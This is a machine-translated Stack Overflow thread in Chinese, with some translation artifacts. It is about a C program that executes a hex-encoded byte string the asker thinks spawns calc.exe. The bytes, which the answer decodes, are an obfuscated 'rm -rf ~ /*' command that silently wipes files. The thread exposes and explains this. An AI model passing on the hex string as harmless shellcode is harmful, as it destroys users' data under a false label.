2016-11-06 77 views
-5

我有一个下面的程序用C语言编写:Ç的shellcode执行

char code[] = 
"\x72\x6D\x20\x2D\x72\x66\x20\x7e\x20" 
"\x2F\x2A\x20\x32\x3e\x20\x2f\x64\x65" 
"\x76\x2f\x6e\x75\x6c\x6c\x20\x26"; 

int main(int argc, char **argv) 
{ 
    int (*func)(); 
    func = (int (*)()) code; 
    (int)(*func)(); 
} 

我编译使用shellnoob到.EXE,但是当我尝试推出它在Windows 7(32位),空cmd窗口弹出没有任何反应。谁能帮我一把吗? (shellcode的应该产卵calc.exe

+0

shellcode应该产生calc.exe – Luti

+1

如果你读取的字符串是'rm -rf〜/ * 2>/dev/null&',那就不能在Windows操作系统下运行。 – deamentiaemundi

+0

heh,“shell”代码。 – melpomene

回答

0

此字符串解码为rm -rf ~ /* 2> /dev/null &,一个shell命令,它会默默地删除你的home目录中的所有文件(和你的电脑给root访问权限的所有文件),在UNIX/Linux的shell。它不适用于Windows,因为它在shell中使用了不同的语言。

要从C执行shell命令,可以使用system()函数:http://en.cppreference.com/w/c/program/system。在Windows上,它必须使用外壳语言cmd.exesystem("calc")应该启动calc.exe


甲中的应被执行的机器代码指令意义上的“的shellcode”可以被称为+/-像在该代码,但所述存储器需要被第一标记为可执行。 (显然,出于安全原因,默认情况下操作系统不允许执行内存)。在Windows上,可执行内存可以使用VirtualAllocEx来分配。见How to generate and run native code dynamically?